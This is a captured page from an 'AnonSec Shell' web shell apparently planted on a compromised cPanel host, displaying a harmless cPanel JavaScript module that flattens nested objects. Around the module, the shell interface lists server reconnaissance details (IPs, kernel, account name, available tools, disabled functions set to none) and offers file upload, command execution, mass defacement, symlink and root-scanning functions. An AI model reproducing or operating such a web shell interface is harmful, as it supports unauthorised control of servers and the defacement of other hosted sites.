AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/root/proc/2388321/cwd/unprotected/libraries/cjt2/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/root/proc/2388321/cwd/unprotected/libraries/cjt2/util/flatObject.js
/*
# cjt/util/flatObject.js                          Copyright(c) 2020 cPanel, L.L.C.
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* --------------------------*/
/* DEFINE GLOBALS FOR LINT
/*--------------------------*/
/* global define: false     */
/* --------------------------*/


/**
 *
 * @module cjt/util/flatObject
 * @example
 *     var deep = {
 *         a: 1,
 *         b: {
 *             c: 1
 *             d: {
 *                 e: 1
 *             }
 *         }
 *     };
 *     var flat = FLAT.flatten(deep);
 *
 *     Now flat will look like:
 *
 *     {
 *        a: 1,
 *        b.c: 1,
 *        b.d.e: 1
 *     }
 */
define(function() {
    "use strict";

    /**
     * Convert a deep nested object into a single layer object with the properties named
     * with the full deep names with period separators.
     * @param  {Object} inputObject Deep object
     * @return {Object}             Flattened object
     */
    function flatten(inputObject) {
        var outputObject = {};

        for (var prop in inputObject) {
            if (inputObject.hasOwnProperty(prop)) {
                if ((typeof inputObject[prop]) === "object") {
                    var flatObject = flatten(inputObject[prop]);
                    for (var innerProp in flatObject) {
                        if (flatObject.hasOwnProperty(innerProp)) {
                            outputObject[prop + "." + innerProp] = flatObject[innerProp];
                        }
                    }
                } else {
                    outputObject[prop] = inputObject[prop];
                }
            }
        }
        return outputObject;
    }

    return {
        flatten: flatten
    };
});

Anon7 - 2022
AnonSec Team